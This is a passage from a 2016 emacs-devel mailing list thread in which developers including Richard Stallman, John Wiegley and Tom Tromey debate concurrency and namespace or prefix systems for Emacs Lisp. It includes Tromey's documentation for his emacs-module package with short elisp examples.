reduce the coherency problem down to just mailboxes.

The reason I love Haskell for its STM concurrency (software transactional
memory) is that it makes certain classes of problems impossible to express. I
believe we would need a mechanism like that for Emacs Lisp, so no one ever has
to hunt down cyclic mutex locks, or reference counts, or why two operations
that should be atomic aren't. I'd rather have a single-threaded Emacs for a
quite a while longer before inviting these sorts problems into our lives.

-- 
John Wiegley                  GPG fingerprint = 4710 CF98 AF9B 327B B80F
http://newartisans.com                          60E1 46C4 BD1A 7AC1 4BA2

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 629 bytes --]

Re: Emacs Lisp's future

[Georges Ko]

Richard Stallman <rms@gnu.org> writes:

> Namespace systems do not fit well into Lisp.  Common Lisp's is a total
> mess.  It is better to use name prefixes.

A first step could be to provide some simple prefix support for users,
not stuff that comes with Emacs.

Example:

Let's say I want to write some code in sqlited.el to edit SQLite
files. Instead of prefixing everything with sqlited- in sqlited.el, I
would add this to the top of the file:

(set-current-prefix 'sqlited-)

and "magically", everything that is defined (functions, variables,
...) in this file are prefixed with "sqlited-" from the Emacs Lisp
reader point of view: 

(defun file-header (file) ...) 

is read by the reader as:

(defun sqlited-file-header (file) ...)

When looking up for functions, variables, etc., in this file,
the reader would first search with the sqlited- prefix, then the
version without prefix.

"Global" elements (without prefix) can be defined and used through
some virtual prefix such as "emacs:":

(defvar emacs:sqlited-load-hook nil)
(defun emacs:sqlited-edit-file (...) (interactive) ...)

Or it could be defined that anything starting with the prefix means
global, like now:

(defvar sqlited-load-hook nil)
(defun sqlited-edit-file (...) (interactive) ...)

Or the user can set it explicitely:

(set-global-prefix 'g:)
...
(defvar g:sqlited-load-hook nil)
(defun g:sqlited-edit-file (...) (interactive) ...)

When accessing elements using other prefixes:

(require "sqlited-viewer")
(set-prefix-map 'v: 'sqlited-viewer-)
(v:view-file "...")

v:view-file would be read as sqlited-viewer-view-file.
-- 
 Georges Ko                     gko@gko.net                      2016-10-10

Re: Emacs Lisp's future

[Clément Pit--Claudel]

[-- Attachment #1.1: Type: text/plain, Size: 264 bytes --]

On 2016-10-10 00:09, Georges Ko wrote:
> and "magically", everything that is defined (functions, variables,
> ...) in this file are prefixed with "sqlited-" from the Emacs Lisp
> reader point of view: 

Are you familiar with the names package?

Clément.


[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

  > > Namespace systems do not fit well into Lisp.

  > The designers and users of the most important Lisps obviously disagree
  > with you:

They are entitled to their opinions but I am not impressed by them.

	      Common Lisp, Scheme (since R6RS) and Clojure all have either
  > namespaces or modules.  Racket even has both.

I implemented the Common Lisp name space facility on the Lisp machine,
and I found it was inconvenient for actual use.  It is better always
to use the full name.

-- 
Dr Richard Stallman
President, Free Software Foundation (gnu.org, fsf.org)
Internet Hall-of-Famer (internethalloffame.org)
Skype: No way! See stallman.org/skype.html.

Re: Emacs Lisp's future

[Georges Ko]

Clément Pit--Claudel <clement.pit@gmail.com> writes:


>> and "magically", everything that is defined (functions, variables,
>> ...) in this file are prefixed with "sqlited-" from the Emacs Lisp
>> reader point of view: 
>
> Are you familiar with the names package?

It looks exactly what I had in mind :). Thanks!

Georges
-- 
 Georges Ko                     gko@gko.net                      2016-10-10

Re: Emacs Lisp's future

[raman]

John Wiegley <jwiegley@gmail.com> writes:

1+ on this. 
>>>>>> Eli Zaretskii <eliz@gnu.org> writes:
>
>> There's already a concurrency branch in the Emacs repository. It needs some
>> work before it could be merged to master, so if there are people here who
>> wants this badly enough, I suggest that they continue work almost done by
>> Tom Tromey, who developed that branch, instead of starting anew.
>
> I think it needs more than just a little work. I spoke to Tom on the phone
> last year, and we both agreed it's not a foregone conclusion that that branch
> represents the right way of approaching concurrency for an application like
> Emacs.
>
> In general, users don't want programmatic concurrency. What they want is for
> Emacs not to freeze up after they've asked it to do something. And there are
> other ways of achieving this end -- depending on the nature of the problem --
> than making concurrency a first-class citizen, with the innumerable problems
> it brings. I fear we'd be debugging subtle interaction issues for the rest of
> our lives if we just merged Tom's branch in today. It implements a Java-style
> form of concurrency, dependent on mutexes and locking to achieve coherency,
> which is fiendishly difficult to get right, even if you confine its use to
> just a few small tasks. The hardest bug I ever debugged in my life was a
> concurrency bug; the second hardest wasn't even close (and thankfully, I
> didn't try to solve it at the same time).
>
> I'd much rather we re-examine the goals we want to achieve with concurrency,
> an then ask if there are other ways to get there besides, well, concurrency.
> For example, if we had a lightweight forking mechanism with transparent
> communication between sub-ordinate processes (think async.el, but in C and
> highly efficient), I think we could achieve what users want, without the
> downsides developers don't want. Even the popular web browsers are moving in
> this direction, since it gives a similar effect to threading, but without as
> many of the downsides; or take the popularity of the Actor model, used to
> reduce the coherency problem down to just mailboxes.
>
> The reason I love Haskell for its STM concurrency (software transactional
> memory) is that it makes certain classes of problems impossible to express. I
> believe we would need a mechanism like that for Emacs Lisp, so no one ever has
> to hunt down cyclic mutex locks, or reference counts, or why two operations
> that should be atomic aren't. I'd rather have a single-threaded Emacs for a
> quite a while longer before inviting these sorts problems into our lives.

-- 

Re: Emacs Lisp's future

[raman]

Georges Ko <gko@gko.net> writes:


All this would buy would be less typing -- but emacs completion does
most of my typing for me anyway.

another win perhaps might be for shorter lines because of shorter
identifiers -- but for a large file, 
one might easily forget that the prefix has been set at the top --
e.g. when fixing a bug in the middle of a file.
> Richard Stallman <rms@gnu.org> writes:
>
>> Namespace systems do not fit well into Lisp.  Common Lisp's is a total
>> mess.  It is better to use name prefixes.
>
> A first step could be to provide some simple prefix support for users,
> not stuff that comes with Emacs.
>
> Example:
>
> Let's say I want to write some code in sqlited.el to edit SQLite
> files. Instead of prefixing everything with sqlited- in sqlited.el, I
> would add this to the top of the file:
>
> (set-current-prefix 'sqlited-)
>
> and "magically", everything that is defined (functions, variables,
> ...) in this file are prefixed with "sqlited-" from the Emacs Lisp
> reader point of view: 
>
> (defun file-header (file) ...) 
>
> is read by the reader as:
>
> (defun sqlited-file-header (file) ...)
>
> When looking up for functions, variables, etc., in this file,
> the reader would first search with the sqlited- prefix, then the
> version without prefix.
>
> "Global" elements (without prefix) can be defined and used through
> some virtual prefix such as "emacs:":
>
> (defvar emacs:sqlited-load-hook nil)
> (defun emacs:sqlited-edit-file (...) (interactive) ...)
>
> Or it could be defined that anything starting with the prefix means
> global, like now:
>
> (defvar sqlited-load-hook nil)
> (defun sqlited-edit-file (...) (interactive) ...)
>
> Or the user can set it explicitely:
>
> (set-global-prefix 'g:)
> ...
> (defvar g:sqlited-load-hook nil)
> (defun g:sqlited-edit-file (...) (interactive) ...)
>
> When accessing elements using other prefixes:
>
> (require "sqlited-viewer")
> (set-prefix-map 'v: 'sqlited-viewer-)
> (v:view-file "...")
>
> v:view-file would be read as sqlited-viewer-view-file.

-- 

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

The reason namespaces systems do not fit well into Lisp
is that they have to operate in 'read', in the choice of which
symbol object you get.

I looked very briefly at the Clojure namespace spec and saw that it
operates as part of evaluation, not as part of reading.  Perhaps that
explains why it is usable.  Namespaces can work reasonably well as
part of evaluation.  However, that doesn't fit Lisp.

Clojure is not Lisp.

-- 
Dr Richard Stallman
President, Free Software Foundation (gnu.org, fsf.org)
Internet Hall-of-Famer (internethalloffame.org)
Skype: No way! See stallman.org/skype.html.

Re: Emacs Lisp's future

[Marcin Borkowski]

On 2016-10-10, at 15:56, Georges Ko <gko@gko.net> wrote:

>> Are you familiar with the names package?
>
> It looks exactly what I had in mind :). Thanks!

Be sure to check out also the nameless package by the same author!

> Georges

BTW, someone (Raman?) on this thread said that namespaces save typing.
That's not exactly right; that goal is achieved with autocompletion (as
he already noticed).  What namespaces really do is twofold:

1. Help avoid collisions, and

2. (last but not least!) save on reading.

Long function names are really bad.

Elisp is not Java.

Best,

-- 
Marcin Borkowski

Re: Emacs Lisp's future

[Clément Pit--Claudel]

[-- Attachment #1.1: Type: text/plain, Size: 686 bytes --]

On 2016-10-11 00:06, Marcin Borkowski wrote:
> BTW, someone (Raman?) on this thread said that namespaces save typing.
> That's not exactly right; that goal is achieved with autocompletion (as
> he already noticed).  What namespaces really do is twofold:
> 
> 1. Help avoid collisions, and
> 
> 2. (last but not least!) save on reading.
> 
> Long function names are really bad.

I think nameless makes both of these a non-issue.  You get "import x as y" using custom prefixes (such as fl: for font-lock), and for your own code there's no typing (C-- inserts the package prefix) and no wasted space.

Bottom line: I don't see much use for proper namespaces :)

Clément.


[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: Emacs Lisp's future

[Marcin Borkowski]

On 2016-10-11, at 06:18, Clément Pit--Claudel <clement.pit@gmail.com> wrote:

> On 2016-10-11 00:06, Marcin Borkowski wrote:
>> BTW, someone (Raman?) on this thread said that namespaces save typing.
>> That's not exactly right; that goal is achieved with autocompletion (as
>> he already noticed).  What namespaces really do is twofold:
>> 
>> 1. Help avoid collisions, and
>> 
>> 2. (last but not least!) save on reading.
>> 
>> Long function names are really bad.
>
> I think nameless makes both of these a non-issue.  You get "import x as y" using custom prefixes (such as fl: for font-lock), and for your own code there's no typing (C-- inserts the package prefix) and no wasted space.
>
> Bottom line: I don't see much use for proper namespaces :)

That's only true to some extent.  Both names and nameless packages (even
though I really appreciate them) are really prosthetics; I'd have to
check it, but how do they behave with tools like xref-find-definitions,
edebug, lispy and others?  I'm pretty sure that names won't cooperate
with them nicely (I vaguely remember trying, though I'm not sure), I'd
have to check nameless.

Best,

-- 
Marcin Borkowski

Re: Emacs Lisp's future

[Helmut Eller]

On Mon, Oct 10 2016, Richard Stallman wrote:

> The reason namespaces systems do not fit well into Lisp
> is that they have to operate in 'read', in the choice of which
> symbol object you get.

I would say that namespaces manage symbols.  In contrast, modules manage
bindings.

The annoyance in Common Lisp is mostly that packages have to exist
before READ can intern symbols in a particular package.  That would be
problematic for autoload cookies or customizations in .emacs which are
commonly executed before loading the code that actually defines the
package.

The other annoyance in Common Lisp is that occasionally one gets name
conflict errors when importing a package because a symbol was
accidentally interned in the current package with READ.  People then
often get confused by the error message and quickly jump to the
conclusion that the package system must suck.  It's in fact a pilot
error and the package system just does its job of keeping the namespace
clean.

> I looked very briefly at the Clojure namespace spec and saw that it
> operates as part of evaluation, not as part of reading.  Perhaps that
> explains why it is usable.  Namespaces can work reasonably well as
> part of evaluation.  However, that doesn't fit Lisp.
>
> Clojure is not Lisp.

I guess then Scheme isn't Lisp either.

BTW, Rep, the Lisp dialect used by the Sawfish window manager which
initially looked very similar to Emacs Lisp, also eventually added a
module system.  Apparently without too much trouble.

Helmut

Re: Emacs Lisp's future

[Clément Pit--Claudel]

[-- Attachment #1.1: Type: text/plain, Size: 1375 bytes --]

On 2016-10-11 03:16, Marcin Borkowski wrote:
> On 2016-10-11, at 06:18, Clément Pit--Claudel <clement.pit@gmail.com> wrote:
> 
>> On 2016-10-11 00:06, Marcin Borkowski wrote:
>>> BTW, someone (Raman?) on this thread said that namespaces save typing.
>>> That's not exactly right; that goal is achieved with autocompletion (as
>>> he already noticed).  What namespaces really do is twofold:
>>>
>>> 1. Help avoid collisions, and
>>>
>>> 2. (last but not least!) save on reading.
>>>
>>> Long function names are really bad.
>>
>> I think nameless makes both of these a non-issue.  You get "import x as y" using custom prefixes (such as fl: for font-lock), and for your own code there's no typing (C-- inserts the package prefix) and no wasted space.
>>
>> Bottom line: I don't see much use for proper namespaces :)
> 
> That's only true to some extent.  Both names and nameless packages (even
> though I really appreciate them) are really prosthetics; I'd have to
> check it, but how do they behave with tools like xref-find-definitions,
> edebug, lispy and others?  I'm pretty sure that names won't cooperate
> with them nicely (I vaguely remember trying, though I'm not sure), I'd
> have to check nameless.

I never used names.  Nameless works entirely fine with all of the tools you mentioned, because it only touches font-locking.

Clément.


[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: Emacs Lisp's future

[Elias Mårtenson]

[-- Attachment #1: Type: text/plain, Size: 1524 bytes --]

On 11 October 2016 at 15:47, Helmut Eller <eller.helmut@gmail.com> wrote:

> On Mon, Oct 10 2016, Richard Stallman wrote:
>
> > The reason namespaces systems do not fit well into Lisp
> > is that they have to operate in 'read', in the choice of which
> > symbol object you get.
>
> I would say that namespaces manage symbols.  In contrast, modules manage
> bindings.
>

That's an interesting way of putting it.


> The annoyance in Common Lisp is mostly that packages have to exist
> before READ can intern symbols in a particular package.  That would be
> problematic for autoload cookies or customizations in .emacs which are
> commonly executed before loading the code that actually defines the
> package.
>

That can be dealt with by transparently creating a package during READ.
Common Lisp doesn't do this, but it can be argued that it should.


> The other annoyance in Common Lisp is that occasionally one gets name
> conflict errors when importing a package because a symbol was
> accidentally interned in the current package with READ.  People then
> often get confused by the error message and quickly jump to the
> conclusion that the package system must suck.  It's in fact a pilot
> error and the package system just does its job of keeping the namespace
> clean.
>

What I do is simply never importing symbols from other packages. If I need
to refer to a symbol in a different package, I always fully qualify it.

If a package system was implemented in Emacs Lisp, it would make sense to
enforce this.

Elias

[-- Attachment #2: Type: text/html, Size: 2292 bytes --]

Re: Emacs Lisp's future

[Elias Mårtenson]

[-- Attachment #1: Type: text/plain, Size: 866 bytes --]

On 11 October 2016 at 21:33, Clément Pit--Claudel <clement.pit@gmail.com>
wrote:

>
> I never used names.  Nameless works entirely fine with all of the tools
> you mentioned, because it only touches font-locking.


All of these tools have the problem that it's difficult to tell what part
of a symbol is its "namespace". How do you tell the difference between the
symbols "foo-bar" without a namespace, or "bar" with namespace "foo"?

Also, some Emacs Lisp packages have a dash in the name. How would an
automated tool know that the symbol gnu-apl-interactive-mode is actually
"interactive-mode" with the namespace "gnu-apl"?

I guess I'm just curious as to why a separate symbol isn't used? : sounds
good, and gnu-apl:interactive-mode would be much more clear. Automated
tools would also be able to make more sense out of symbol names.

Elias

[-- Attachment #2: Type: text/html, Size: 1326 bytes --]

Re: Emacs Lisp's future

[Clément Pit--Claudel]

[-- Attachment #1.1: Type: text/plain, Size: 1410 bytes --]

On 2016-10-11 10:54, Elias Mårtenson wrote:
> On 11 October 2016 at 21:33, Clément Pit--Claudel
> <clement.pit@gmail.com <mailto:clement.pit@gmail.com>> wrote:
> 
>> I never used names.  Nameless works entirely fine with all of the
>> tools you mentioned, because it only touches font-locking.
> 
> All of these tools have the problem that it's difficult to tell what
> part of a symbol is its "namespace". How do you tell the difference
> between the symbols "foo-bar" without a namespace, or "bar" with
> namespace "foo"?

Indeed.  Have you had this problem in practice, though?

> Also, some Emacs Lisp packages have a dash in the name. How would an
> automated tool know that the symbol gnu-apl-interactive-mode is
> actually "interactive-mode" with the namespace "gnu-apl"?

It's generally sufficient to look at the name of the file that declares that function.  For example, gnu-apl-interactive-mode presumably lives in gnu-apl.el.  If not, then you can set a file-local variable indicating what the library's prefix is.

> I guess I'm just curious as to why a separate symbol isn't used? :
> sounds good, and gnu-apl:interactive-mode would be much more clear.
> Automated tools would also be able to make more sense out of symbol
> names.

nameless uses ':' for display (and '::' for private members), indeed.  Some packages use / (yas/, for example)

Cheers,
Clément.


[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: Emacs Lisp's future

[Marcin Borkowski]

On 2016-10-11, at 15:33, Clément Pit--Claudel <clement.pit@gmail.com> wrote:

>>> Bottom line: I don't see much use for proper namespaces :)
>> 
>> That's only true to some extent.  Both names and nameless packages (even
>> though I really appreciate them) are really prosthetics; I'd have to
>> check it, but how do they behave with tools like xref-find-definitions,
>> edebug, lispy and others?  I'm pretty sure that names won't cooperate
>> with them nicely (I vaguely remember trying, though I'm not sure), I'd
>> have to check nameless.
>
> I never used names.  Nameless works entirely fine with all of the tools you mentioned, because it only touches font-locking.

Cool to hear that.  I guess I'll have to start using it.

Best,

-- 
Marcin Borkowski

Re: Emacs Lisp's future

[Elias Mårtenson]

[-- Attachment #1: Type: text/plain, Size: 2401 bytes --]

On 11 October 2016 at 23:10, Clément Pit--Claudel <clement.pit@gmail.com>
wrote:

> On 2016-10-11 10:54, Elias Mårtenson wrote:
>


> > All of these tools have the problem that it's difficult to tell what
> > part of a symbol is its "namespace". How do you tell the difference
> > between the symbols "foo-bar" without a namespace, or "bar" with
> > namespace "foo"?
>
> Indeed.  Have you had this problem in practice, though?
>

That depends on how you define "having the problem". I don't use automated
tools (such as nameless) partly because I find it somewhat hackish. I have
been confused about it though.


> It's generally sufficient to look at the name of the file that declares
> that function.  For example, gnu-apl-interactive-mode presumably lives in
> gnu-apl.el.  If not, then you can set a file-local variable indicating what
> the library's prefix is.
>

It actually lives in a file called gnu-apl-interactive.el.


> > I guess I'm just curious as to why a separate symbol isn't used? :
> > sounds good, and gnu-apl:interactive-mode would be much more clear.
> > Automated tools would also be able to make more sense out of symbol
> > names.
>
> nameless uses ':' for display (and '::' for private members), indeed.
> Some packages use / (yas/, for example)


Presumably they do this because they agree with me that overloading the use
of the - character for both word separation and namespace indicator is not
optimal. The use of multiple different variations is even worse (which is
why I, even though I don't agree with the practice of using - and --,
conform to it).

I'm merely trying to put the attention on this, to gauge just how many
people agree with me. I suspect that not enough does.

I still want to summarise what I'd like to see: Use : (or some other
character other than -) to separate namespace and name. Use :: (or
something else) to indicate private symbols. Then, standardised tooling in
Emacs that would handle this convention could come later (as in something
like nameless, or perhaps an extension to the reader to handle it).

In other words: I think that as long as the character overloading problem
is fixed and a standardised method is promoted, creating tools that
implement pretty much everything people want from a namespace/package
system can be implemented on top of this convention.

Elias

[-- Attachment #2: Type: text/html, Size: 3404 bytes --]

Re: Emacs Lisp's future

[Tom Tromey]

>>>>> "RMS" == Richard Stallman <rms@gnu.org> writes:

RMS> The reason namespaces systems do not fit well into Lisp
RMS> is that they have to operate in 'read', in the choice of which
RMS> symbol object you get.

That's pretty much what my module implementation does: it renames
symbols while reading.

https://github.com/tromey/emacs-module

This means the source code uses short names, but the result respects the
Emacs naming conventions.

Tom

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

  > That's pretty much what my module implementation does: it renames
  > symbols while reading.

A priori that sounds bad, but maybe you've found a way of handling this
that is better than what I've seen (in Common Lisp, for instance).

  > https://github.com/tromey/emacs-module

It would take a lot of work for me to try to find the code
by looking at that directory, and then a lot more work for me
to figure out what the package does by reading the code.

Would you please post the documentation here?
-- 
Dr Richard Stallman
President, Free Software Foundation (gnu.org, fsf.org)
Internet Hall-of-Famer (internethalloffame.org)
Skype: No way! See stallman.org/skype.html.

Re: Emacs Lisp's future

[Tom Tromey]

RMS> It would take a lot of work for me to try to find the code
RMS> by looking at that directory, and then a lot more work for me
RMS> to figure out what the package does by reading the code.

RMS> Would you please post the documentation here?

I've appended it.

I can send the source if you want as well.  It's short (388 LOC
including comments).  The essence of it is hooking
internal-macroexpand-for-load to rewrite forms.

Tom

This is a simple module system for Emacs Lisp, inspired by [Nic
Ferrier's proposal](https://lists.gnu.org/archive/html/emacs-devel/2013-07/msg00738.html).  It allows short symbol
names in the source code but exports the names using the standard
elisp-style module prefixes.

To define a module, see `define-module`.  After a `define-module`,
some symbols in the current load file will be renamed.  In
particular, symbols coming from `defvar`, `defconst`, `defun` and
the like will be renamed -- but other symbols will not be.  This
feature is critical to keeping normal Elisp working, as the Emacs
core sometimes requires certain symbol names in APIs.

Note that a private symbol must be seen -- declared with `defvar` or
the like -- before any uses.  Otherwise the renamer will not know to
rename the use.  Normally this is not a problem but you must take care
to declare internal functions when you need mutual recursion.  You can
do this like so:

```elisp
(declare-internal-function private-function)
```

When renaming, exported symbols will be given the package prefix, and
internal symbols will use the "--" convention.

E.g., consider:

```elisp
(define-module testmodule :export (somevar))
(defvar somevar nil)
(defvar private nil)
(provide 'testmodule)
```

This defines a module named `testmodule` and two variables, an
"exported" one named `testmodule-somevar`, and a "private" one named
`testmodule--private`.

Symbols from other modules can be imported using `import-module`.
Because module boundaries are purely based on symbol naming
conventions, you can also "import" from modules that do not use
module.el.  These modules are called "implicit" modules.  Importing a
module also `require`s the feature.

```elisp
(define-module testmodule)
;; Import some symbols from M.
(import-module M :symbols (a b c))
```

Sometimes, for an implicit module, the name of the feature and the
name of the module prefix differ.  In this case you can use the
`:prefix` keyword:

```elisp
(import-module cl-macs :prefix cl)
```

A module is closed by calling `provide`.

This module system doesn't have an explicit notion of submodules.
Rather, it piggy-backs on the existing feature of `require`, that lets
a directory separator in the symbol name load a file from a
subdirectory:

```elisp
(require 'feature/subfeature)
```

### Caveats

The renaming is not perfect.  If your code uses `intern` or otherwise
reflects on symbols then you have to be aware of the transforms done
by module.el.

Another issue is that autoload cookies aren't rewritten.  This seems
reasonably hard to fix, since they can refer to any symbol and so the
cookie extraction code would have to duplicate the importing logic.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

I have a feeling that problems will arise where a certain name needs
to be used in one way as a variable or function, and another way
for comparisons with eq.  I can't come up with any case that fails,
so this is just a suspicion.

-- 
Dr Richard Stallman
President, Free Software Foundation (gnu.org, fsf.org)
Internet Hall-of-Famer (internethalloffame.org)
Skype: No way! See stallman.org/skype.html.